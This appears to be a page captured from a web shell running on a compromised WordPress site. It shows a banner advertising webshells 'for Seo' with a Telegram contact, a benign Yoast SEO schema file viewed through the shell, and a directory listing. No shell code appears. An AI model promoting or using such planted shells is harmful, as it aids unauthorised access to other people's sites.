__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Yoast\WP\SEO\Generators\Schema;
use Yoast\WP\SEO\Config\Schema_IDs;
/**
* Returns ImageObject schema data.
*/
class Main_Image extends Abstract_Schema_Piece {
/**
* Determines whether or not a piece should be added to the graph.
*
* @return bool
*/
public function is_needed() {
return true;
}
/**
* Adds a main image for the current URL to the schema if there is one.
*
* This can be either the featured image or the first image in the content of the page.
*
* @return false|array Image Schema.
*/
public function generate() {
$image_id = $this->context->canonical . Schema_IDs::PRIMARY_IMAGE_HASH;
// The featured image.
if ( $this->context->main_image_id ) {
$generated_schema = $this->helpers->schema->image->generate_from_attachment_id( $image_id, $this->context->main_image_id );
$this->context->main_image_url = $generated_schema['url'];
return $generated_schema;
}
// The first image in the content.
if ( $this->context->main_image_url ) {
return $this->helpers->schema->image->generate_from_url( $image_id, $this->context->main_image_url );
}
return false;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| abstract-schema-piece.php | File | 794 B | 0775 |
|
| article.php | File | 7.3 KB | 0775 |
|
| author.php | File | 2.95 KB | 0775 |
|
| breadcrumb.php | File | 5.05 KB | 0775 |
|
| faq.php | File | 2.91 KB | 0775 |
|
| howto.php | File | 5.13 KB | 0775 |
|
| main-image.php | File | 1.14 KB | 0775 |
|
| organization.php | File | 2.6 KB | 0775 |
|
| person.php | File | 9.54 KB | 0775 |
|
| webpage.php | File | 4.89 KB | 0775 |
|
| website.php | File | 2.71 KB | 0775 |
|